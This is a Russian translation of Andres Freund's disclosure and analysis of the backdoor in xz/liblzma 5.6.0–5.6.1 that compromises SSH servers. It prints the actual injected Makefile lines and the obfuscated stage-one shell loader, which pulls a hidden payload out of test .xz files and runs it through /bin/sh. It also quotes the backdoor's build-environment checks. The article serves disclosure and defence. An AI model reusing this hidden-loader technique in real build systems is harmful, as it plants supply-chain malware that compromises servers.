Как стать автором
Обновить
72.69
Wunder Fund
Мы занимаемся высокочастотной торговлей на бирже

Бэкдор в основной версии xz/liblzma, ведущий к компрометации SSH-сервера

Уровень сложностиСредний
Время на прочтение9 мин
Количество просмотров6.4K
Автор оригинала: Andres Freund

В последние недели я, работая в системах с установленным дистрибутивом Debian Sid, столкнулся с несколькими странностями, связанными с liblzma (это — часть пакета xz). При входе в систему с использованием SSH очень сильно нагружался процессор, Valgrind выдавал ошибки. И вот я, наконец, нашёл причину всего этого: в основной репозиторий xz и в tar‑архивы xz был встроен бэкдор.

Сначала я подумал, что это — взлом Debian‑пакета, но оказалось, что речь идёт именно о библиотеке.

Скомпрометированные tar-архивы

Одна часть бэкдора размещена исключительно в распространяемых tar‑архивах. Вот, чтобы было понятнее, ссылка на соответствующий tar‑архив, импортированный в Debian. Но вредоносный код, кроме того, имеется и в tar‑архивах, используемых в версиях 5.6.0 и 5.6.1.

Соответствующей строки нет в исходном файле build‑to‑host, нет её и в build‑to‑host, используемом xz в git. Она имеется в выпущенных tar‑архивах, но не в данных, доступных по ссылкам на исходный код, которые, полагаю, GitHub генерирует прямо из содержимого репозитория:

https://github.com/tukaani-project/xz/releases/tag/v5.6.0

https://github.com/tukaani-project/xz/releases/tag/v5.6.1

Эта строка внедряет обфусцированный скрипт так, чтобы он был бы выполнен в конце configure. В этом скрипте всё очень хорошо замаскировано, а данные берутся из «тестовых» .xz-файлов из репозитория.

Скрипт выполняется и, при соблюдении некоторых заранее заданных условий, модифицирует файл $builddir/src/liblzma/Makefile, добавляя в него следующее:

am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

Данная конструкция, не обращая внимания на | bash, выдаёт такой код:

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Это, после деобфускации, становится тем, что имеется в файле injected.txt.

Скомпрометированный репозиторий

Основная часть эксплойта в обфусцированной форме содержалась в следующих файлах:

tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma

Они были добавлены в главный репозиторий. Сделано это было посредством данного коммита:

https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Обратите внимание на то, что в версии 5.6.0 эти файлы даже не использовались для каких‑либо «тестов».

Впоследствии внедрённый код (подробнее об этом поговорим ниже) приводил, в некоторых условиях, к ошибкам Valgrind и к сбоям. Происходило это из‑за того, что стек был заполнен не так, как того ожидал бэкдор. В версии 5.6.1 была сделана попытка исправить эти проблемы:

https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad

https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f

https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

Потом, с учётом этого, код бэкдора был доработан:

https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Действия, связанные с этим кодом, производились в течение нескольких недель. Поэтому тот, кто закоммитил этот код, либо непосредственно занят работой над пакетом, либо очень хорошо взломал систему разработчиков. К сожалению, последний вариант объяснения происходящего выглядит не очень убедительным, учитывая то, что сообщения относительно вышеупомянутых «исправлений» появлялись в различных каналах.

Флориан Веймер первым извлёк внедрённый код в изолированном виде. Он находится в файле liblzma_la‑crc64-fast.o.gz. Я лишь взглянул на этот файл. Спасибо!

Системы, на которые воздействует бэкдор

Деобфусцированный скрипт, ссылка на который дана выше, вызывается после выполнения того, что имеется в configure. В этот момент он принимает решение о том, нужно ли модифицировать процесс сборки и внедрять свой код в систему.

Условия, проверяемые скриптом, указывают на то, что он нацелен только на системы с Linux x86–64:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

Сборка с помощью gcc и компоновщика gnu:

    if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
    exit 0
    fi
    if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
    exit 0
    fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
    exit 0

Запуск в процессе сборки Debian или RPM-пакета:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

Последнее, вероятнее всего, нацелено на то, чтобы усложнить исследователям воспроизведение проблемы.

Из-за особенностей работы внедрённого кода (смотрите ниже), бэкдор, скорее всего, может работать только в системах, основанных на glibc.

К нашему счастью, xz 5.6.0 и 5.6.1 ещё не были широко интегрированы в Linux-дистрибутивы. А те дистрибутивы, куда они попали — это, в основном, предрелизные версии.

Исследование воздействия бэкдора на OpenSSH-сервер

Когда в системе установлена библиотека liblzma — вход в систему с использованием SSH оказывается гораздо медленнее, чем обычно.

time ssh nonexistant@...alhost

До:

nonexistant@...alhost: Permission denied (publickey).

real	0m0.299s
user	0m0.202s
sys	0m0.006s

После:

nonexistant@...alhost: Permission denied (publickey).

real	0m0.807s
user	0m0.202s
sys	0m0.006s

OpenSSH не использует liblzma напрямую. Но Debian и некоторые другие дистрибутивы патчат OpenSSH для обеспечения поддержки уведомлений systemd. А libsystemd зависит от lzma.

Изначально запуск sshd за пределами systemd не приводит к заметному замедлению системы, несмотря на то, что бэкдор в это время ненадолго активируется. Это, похоже, является частью мер, применяемых автором бэкдора для усложнения его анализа.

Вот какие условия для работы бэкдора мне удалось заметить:

  1. Переменная окружения TERM не установлена.

  2. В argv[0] имеется /usr/sbin/sshd.

  3. LD_DEBUG и LD_PROFILE не установлены.

  4. Переменная LANG установлена.

  5. Похоже, что бэкдор обнаруживает некоторые отладочные окружения, вроде rr. Возникает такое ощущение, что обычный gdb в некоторых ситуациях обнаруживается, а в некоторых — нет.

Для того чтобы воспроизвести работу бэкдора за пределами systemd, сервер можно запустить с пустыми переменными окружения, установив лишь переменную, необходимую для работы бэкдора:

env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D

На самом деле, OpenSSH не нужно запускать в виде сервера для того чтобы заметить замедление:

Медленно:

env -i LANG=C /usr/sbin/sshd -h

(около 0.5 с на моей более старой системе)

Быстро:

env -i LANG=C TERM=foo /usr/sbin/sshd -h
env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
...

(около 0.01 с на той же самой системе)

Возможно, наличие в argv[0] чего-то, отличного от /usr/sbin/sshd, тоже может подействовать — имеется, очевидно, множество серверов, связанных с libsystemd.

Анализ внедрённого кода

Я не исследователь безопасности и не реверс-инженер. Есть много всего такого, чего я не анализировал. Большая часть того, что я заметил — это исключительно результат обычных наблюдений, а не глубокого анализа кода бэкдора.

Для того чтобы проанализировать код я, в основном, использовал конструкцию вида perf record -e intel_pt//u. Это позволило мне выявить различия в выполнении чего-либо в ситуациях, когда бэкдор активен и неактивен. Я, кроме того, использовал точки останова gdb, устанавливая их перед теми местами, где наблюдаются расхождения.

Изначально бэкдор перехватывает выполнение, подменяя ifunc-резолверы crc32_resolve() и crc64_resolve() другим кодом. Это приводит к вызову _get_cpuid(), внедрённому в код (ранее там были обычные статические встраиваемые функции). В xz 5.6.1 бэкдор был обфусцирован сильнее, убирая имена символов.

Эти функции разрешаются при запуске системы, так как sshd собран с использованием ключей -Wl,-z. Это ведёт к тому, что все символы разрешаются на ранней стадии работы. Если система запущена с использованием переменной LD_BIND_NOT=1, то бэкдор, похоже, не работает.

В crc32_resolve() вызов _get_cpuid() решает не особенно много задач. Он просто смотрит на то, что переменная completed равна 0 и инкрементирует её, возвращая обычный результат, возвращаемый cpuid (посредством нового _cpuid()). А вот если говорить о crc64_resolve(), то ситуация становится интереснее.

Похоже, что второй вызов crc64_resolve() находит разнообразные данные — вроде сведений от динамического компоновщика, аргументов программы и значений переменных окружения. Затем производятся проверки окружения, включая те, о которых шла речь выше. Потом проводятся дополнительные проверки, которые я не исследовал в полной мере.

Если после предыдущих проверок бэкдор решит продолжить работу — то, похоже, что код будет парсить таблицы символов в памяти. Это — достаточно медленная процедура, из-за которой я и обратил внимание на описываемую здесь проблему.

Стоит отметить, что символы liblzma разрешаются до символов многих других библиотек, включая символы из главного бинарника sshd. Это важно, так как при разрешении символов GOT переключается в режим «только для чтения» из-за использования -Wl,-z,relro.

Для того чтобы иметь возможность разрешать символы в ещё не загруженных библиотеках, бэкдор устанавливает хук аудита в динамический компоновщик, который можно увидеть с помощью gdb:

watch _rtld_global_ro._dl_naudit

Похоже, что хук аудита устанавливается только для главной библиотеки.

Это хук вызывается из _dl_audit_symbind для множества символов из главной библиотеки. Он, видимо, ждёт разрешения RSA_public_decrypt@....plt. Бэкдор, при вызове для этого символа, меняет значение RSA_public_decrypt@....plt так, чтобы оно указывало на его собственный код. Делается это не с использование механизма хука аудита, а за его пределами.

По причинам, которые мне пока не понятны, бэкдор меняет sym.st_value и значение, возвращаемое из хука аудита, на другое значение, что ведёт к тому, что _dl_audit_symbind() ничего не делает. Если так — зачем тогда вообще что-то менять?

После этого осуществляется деинсталляция хука аудита.

На этой стадии работы можно изменить содержимое got.plt, так как оно ещё не было переведено в режим «только для чтения» (и пока не может быть переведено в этот режим).

Подозреваю, что на этой стадии могут быть выполнены и другие изменения.

Воздействие на sshd

В предыдущем разделе были даны разъяснения о перенаправлении RSA_public_decrypt@....plt на код бэкдора. Проанализированные мной результаты трассировки кода, определённо, указывают на то, что бэкдор вызывается в процессе входа в систему с использованием ключа:

            sshd 1736357 [010] 714318.734008:          1  branches:uH:      5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) =>     5555555612d0 RSA_public_decrypt@...+0x0 (/usr/sbin/sshd)

Затем бэкдор осуществляет обратный вызов libcrypto. Вероятно — для выполнения обычной аутентификации.

            sshd 1736357 [010] 714318.734009:          1  branches:uH:      7ffff7c137cd [unknown] (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) =>     7ffff792a2b0 RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)

Я ещё точно не разобрался в том, какие именно проверки проводятся во внедрённом коде для того чтобы разрешить неавторизованный доступ к системе. Так как всё это происходит до аутентификации пользователя, похоже, что весьма вероятно то, что бэкдор даёт злоумышленнику некую возможность доступа к системе или удалённого выполнения кода.

Я в этой ситуации как можно скорее обновил бы мои потенциально уязвимые системы.

Отчёты об ошибках

Учитывая то, что автор бэкдора, несомненно, связан с основным репозиторием скомпрометированной библиотеки, я не сообщал об ошибке в этом репозитории. Так как я изначально полагал, что речь идёт о проблеме, имеющей отношение только к Debian, я отправил отчёт, не такой подробный, как этот, на security@...ian.org. Потом я отправил отчёт на distros@. Агентство CISA проинформировано теми, кто поддерживает дистрибутив.

Red Hat назначила этому инциденту код CVE-2024-3094.

Проверка уязвимости установленной системы

Вегард Носсум написал скрипт, позволяющий проверить на уязвимость бинарник ssh, установленный в системе.

О, а приходите к нам работать? 🤗 💰

Мы в wunderfund.io занимаемся высокочастотной алготорговлей с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.

Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.

Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.

Присоединяйтесь к нашей команде

Теги:
Хабы:
+19
Комментарии5

Публикации

Информация

Сайт
wunderfund.io
Дата регистрации
Дата основания
Численность
11–30 человек
Местоположение
Россия
Представитель
xopxe